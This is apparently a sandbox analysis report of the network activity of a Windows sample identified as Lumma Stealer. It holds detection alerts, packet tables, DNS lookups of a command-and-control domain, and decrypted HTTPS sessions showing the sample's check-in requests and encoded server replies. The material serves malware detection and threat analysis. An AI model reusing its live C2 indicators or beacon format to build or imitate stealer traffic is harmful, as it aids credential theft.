2024-12-31T09:43:04.093969+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.112.1	443	TCP
2024-12-31T09:43:04.093969+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.112.1	443	TCP
2024-12-31T09:43:04.830639+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49732	104.21.112.1	443	TCP
2024-12-31T09:43:04.830639+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.112.1	443	TCP
2024-12-31T09:43:06.073842+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49733	104.21.112.1	443	TCP
2024-12-31T09:43:06.073842+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.112.1	443	TCP
2024-12-31T09:43:07.598382+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49734	104.21.112.1	443	TCP
2024-12-31T09:43:07.598382+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.112.1	443	TCP
2024-12-31T09:43:09.153886+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49735	104.21.112.1	443	TCP
2024-12-31T09:43:09.153886+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.112.1	443	TCP
2024-12-31T09:43:09.582681+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49735	104.21.112.1	443	TCP
2024-12-31T09:43:10.488984+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49736	104.21.112.1	443	TCP
2024-12-31T09:43:10.488984+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.112.1	443	TCP
2024-12-31T09:43:14.085649+0100	2058657	ET MALWARE Observed Win32/Lumma Stealer Related Domain (fancywaxxers .shop in TLS SNI)	1	192.168.2.4	49737	104.21.112.1	443	TCP
2024-12-31T09:43:14.085649+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49737	104.21.112.1	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:43:02.146306038 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.146327972 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:02.146399021 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.149229050 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.149241924 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:02.644726038 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:02.644819975 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.648550034 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.648557901 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:02.648838043 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:02.694610119 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.706130028 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.706163883 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:02.706424952 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.125541925 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.125648975 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.125703096 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.127253056 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.127269983 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.127284050 CET	49730	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.127289057 CET	443	49730	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.136055946 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.136113882 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.136214018 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.136496067 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.136517048 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.622970104 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.623054028 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.636332989 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.636360884 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.636586905 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:03.637783051 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.637826920 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:03.637860060 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.093961954 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094017982 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094053030 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094085932 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094120979 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094145060 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.094147921 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094145060 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.094172955 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094192028 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.094238997 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094281912 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.094290972 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094639063 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.094682932 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.094691992 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.098638058 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.098709106 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.098726988 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.147797108 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.184248924 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.184326887 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.184355021 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.184372902 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.184390068 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.184434891 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.184442997 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.184458971 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.184499979 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.186335087 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.186357021 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.186372995 CET	49731	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.186379910 CET	443	49731	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.348849058 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.348891973 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.348959923 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.349309921 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.349325895 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.830569029 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.830638885 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.832696915 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.832709074 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.832942963 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.834748030 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.834981918 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.835017920 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:04.835084915 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:04.835094929 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:05.512733936 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:05.512835979 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:05.512895107 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:05.513098001 CET	49732	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:05.513114929 CET	443	49732	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:05.608546019 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:05.608589888 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:05.608679056 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:05.608989000 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:05.609000921 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.073565960 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.073842049 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:06.075177908 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:06.075185061 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.075422049 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.076703072 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:06.076836109 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:06.076870918 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.818950891 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.819060087 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:06.819103003 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:06.819237947 CET	49733	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:06.819256067 CET	443	49733	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.116242886 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.116281033 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.116358995 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.116982937 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.116997957 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.598269939 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.598381996 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.599771976 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.599783897 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.600009918 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.601330042 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.601471901 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.601507902 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:07.601569891 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:07.601577997 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:08.215550900 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:08.215647936 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:08.215769053 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:08.216027975 CET	49734	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:08.216042042 CET	443	49734	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:08.622359991 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:08.622421026 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:08.622486115 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:08.623651981 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:08.623668909 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.153768063 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.153886080 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:09.155348063 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:09.155359030 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.155587912 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.161539078 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:09.161652088 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:09.161658049 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.582680941 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.582798958 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:09.582930088 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:09.583129883 CET	49735	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:09.583157063 CET	443	49735	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.032959938 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.032998085 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.033090115 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.033411980 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.033421993 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.488886118 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.488984108 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.490731955 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.490756989 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.490998983 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.492352962 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.493355036 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.493395090 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.493494987 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.493525028 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.493629932 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.493674994 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.493802071 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.493835926 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.493980885 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.494012117 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.494151115 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.494177103 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.494187117 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.494201899 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.494327068 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.494349003 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.494374990 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.494507074 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.494537115 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.502316952 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.502487898 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.502533913 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:10.502616882 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.502727032 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:10.503879070 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:13.801944971 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:13.802059889 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:13.802148104 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:13.802309036 CET	49736	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:13.802330017 CET	443	49736	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:13.835690975 CET	49737	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:13.835747957 CET	443	49737	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:13.835834026 CET	49737	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:13.836182117 CET	49737	443	192.168.2.4	104.21.112.1
Dec 31, 2024 09:43:13.836199045 CET	443	49737	104.21.112.1	192.168.2.4
Dec 31, 2024 09:43:14.085649014 CET	49737	443	192.168.2.4	104.21.112.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 31, 2024 09:43:02.129168987 CET	50288	53	192.168.2.4	1.1.1.1
Dec 31, 2024 09:43:02.141824007 CET	53	50288	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 31, 2024 09:43:02.129168987 CET	192.168.2.4	1.1.1.1	0x30e	Standard query (0)	fancywaxxers.shop	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	Address	Type	Class	DNS over HTTPS
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.112.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.16.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.48.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.32.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.96.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.80.1	A (IP address)	IN (0x0001)	false
Dec 31, 2024 09:43:02.141824007 CET	1.1.1.1	192.168.2.4	0x30e	No error (0)	fancywaxxers.shop	104.21.64.1	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

fancywaxxers.shop

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:02 UTC	264	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: fancywaxxers.shop
2024-12-31 08:43:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-12-31 08:43:03 UTC	1131	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=tnam0vvtdue50j6mvidh3pgf8k; expires=Sat, 26 Apr 2025 02:29:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=v3mnXlXiL9ur%2FhDnYlYazgaA2cG1KXbknmBbywrmJTQSOjrNGAPRtdZ%2BKWfqOGfL4Sf%2Fsb3ZszBjgjvD2GMqOA3rfCtFjpJerhXzquH1uQo06GYgLk4WMrzsixUkP8Y7P%2BxD4g%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8face3e2dc34f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1474&min_rtt=1464&rtt_var=570&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2844&recv_bytes=908&delivery_rate=1885087&cwnd=181&unsent_bytes=0&cid=15b705e660dc086d&ts=499&x=0"
2024-12-31 08:43:03 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-12-31 08:43:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	104.21.112.1	443	6940	C:\Users\user\Desktop\x6VtGfW26X.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-31 08:43:03 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 47 Host: fancywaxxers.shop
2024-12-31 08:43:03 UTC	47	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 50 73 46 4b 44 67 2d 2d 70 61 62 6c 6f 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=PsFKDg--pablo&j=
2024-12-31 08:43:04 UTC	1146	IN	HTTP/1.1 200 OK Date: Tue, 31 Dec 2024 08:43:04 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=k8266q6a09er3hri1s9142e8uc; expires=Sat, 26 Apr 2025 02:29:42 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JXSlorGqqX547QtIzdzh%2FgLr%2FD6V9X718vfbAjxR2YVXrqm6hVDiPzV%2F44%2FuFgFVDXfrd%2BT1V%2BgfDWEevHw0pV9m%2FY3%2FPw%2B2erlppZf9704RdtvTR%2BqHc%2F4CYkJng8kpcz57jA%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fa8fad43c8a0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2198&min_rtt=1583&rtt_var=1033&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2843&recv_bytes=948&delivery_rate=1844598&cwnd=221&unsent_bytes=0&cid=4eb9d6885c926bd0&ts=477&x=0"
2024-12-31 08:43:04 UTC	223	IN	Data Raw: 31 63 61 37 0d 0a 63 30 66 56 30 4f 53 70 37 72 54 6e 4c 4d 71 77 74 4b 61 33 68 78 56 6f 79 74 36 41 38 59 4e 31 2b 57 33 35 4e 56 4f 49 65 47 51 49 5a 61 50 79 33 70 33 43 6c 70 52 4a 36 49 72 41 31 4d 4c 69 4f 55 71 72 75 71 4c 4c 35 52 53 56 48 70 77 5a 63 66 34 56 52 6b 6b 68 74 4c 79 58 7a 4d 4b 57 67 6c 54 6f 69 75 2f 64 6c 65 4a 37 53 76 44 38 35 5a 76 68 46 4a 55 50 6d 46 34 38 2b 42 51 48 47 79 75 79 75 49 48 4b 69 74 57 4c 51 61 2f 56 30 63 66 64 36 58 77 46 6f 72 4f 69 33 61 45 51 67 30 2f 44 46 78 37 74 44 41 55 2b 4a 71 61 37 78 74 54 43 7a 38 56 4a 70 4a 4b 4f 68 4e 62 69 64 77 53 73 75 75 75 5a 36 78 32 64 44 70 31 66 49 2b 45 65 44 42 73 6c 73 Data Ascii: 1ca7c0fV0OSp7rTnLMqwtKa3hxVoyt6A8YN1+W35NVOIeGQIZaPy3p3ClpRJ6IrA1MLiOUqruqLL5RSVHpwZcf4VRkkhtLyXzMKWglToiu/dleJ7SvD85ZvhFJUPmF48+BQHGyuyuIHKitWLQa/V0cfd6XwForOi3aEQg0/DFx7tDAU+Jqa7xtTCz8VJpJKOhNbidwSsuuuZ6x2dDp1fI+EeDBsls
2024-12-31 08:43:04 UTC	1369	IN	Data Raw: 62 6d 4c 77 35 37 59 67 55 61 6b 30 39 76 48 6c 61 73 33 44 62 44 38 75 74 4f 79 4a 5a 67 65 69 6b 49 38 2b 68 78 47 44 6d 75 75 38 6f 48 48 7a 49 37 46 52 71 54 63 30 38 66 61 34 6e 59 4b 75 72 50 69 6b 4f 6b 66 6e 77 57 55 57 44 37 6b 45 41 45 5a 4c 4c 43 39 67 63 4f 4b 32 59 59 4f 35 70 4c 52 33 4a 57 39 4e 79 71 34 76 2b 47 48 37 41 62 62 45 4e 56 4f 63 65 30 57 52 6b 6c 6c 73 62 79 48 78 6f 7a 45 6a 55 57 6a 31 38 54 50 33 4f 68 36 43 71 57 32 37 5a 44 68 45 4a 45 46 6c 46 30 31 35 78 63 41 45 53 58 33 2f 4d 62 4d 6c 4a 62 64 44 6f 76 58 78 73 50 5a 38 7a 55 77 36 4b 4f 73 69 71 45 51 6c 30 2f 44 46 7a 6e 76 47 51 55 61 4b 72 53 36 6a 64 6d 4d 78 49 4e 44 72 63 44 51 77 64 76 76 64 42 69 69 73 75 53 51 36 42 79 53 43 70 78 54 63 61 52 61 41 51 6c 6c Data Ascii: bmLw57YgUak09vHlas3DbD8utOyJZgeikI8+hxGDmuu8oHHzI7FRqTc08fa4nYKurPikOkfnwWUWD7kEAEZLLC9gcOK2YYO5pLR3JW9Nyq4v+GH7AbbENVOce0WRkllsbyHxozEjUWj18TP3Oh6CqW27ZDhEJEFlF015xcAESX3/MbMlJbdDovXxsPZ8zUw6KOsiqEQl0/DFznvGQUaKrS6jdmMxINDrcDQwdvvdBiisuSQ6BySCpxTcaRaAQll
